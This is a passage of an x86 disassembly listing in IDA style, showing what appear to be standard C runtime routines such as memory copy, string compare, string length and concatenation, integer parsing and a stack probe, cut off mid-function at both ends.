		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528

loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------

loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------

loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------

loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------

loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------

loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------

loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld

loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------

loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------

loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C

loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi

loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0

loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	dword_4397AC, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------

loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------

loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE

loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx

loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	dword_4397AC, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------

loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4

loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------

loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax

loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------

loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7

loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4

loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi

loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9

loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]

loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------

loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------

loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------

loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------

loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi

loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------

loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC

loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD

loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------

loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]

loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56

loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------

loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4

loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------

loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0

loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0

loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------

loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50

loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C

loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73

loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B

loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi

loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	dword_48A074
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4

loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
		pop	ecx
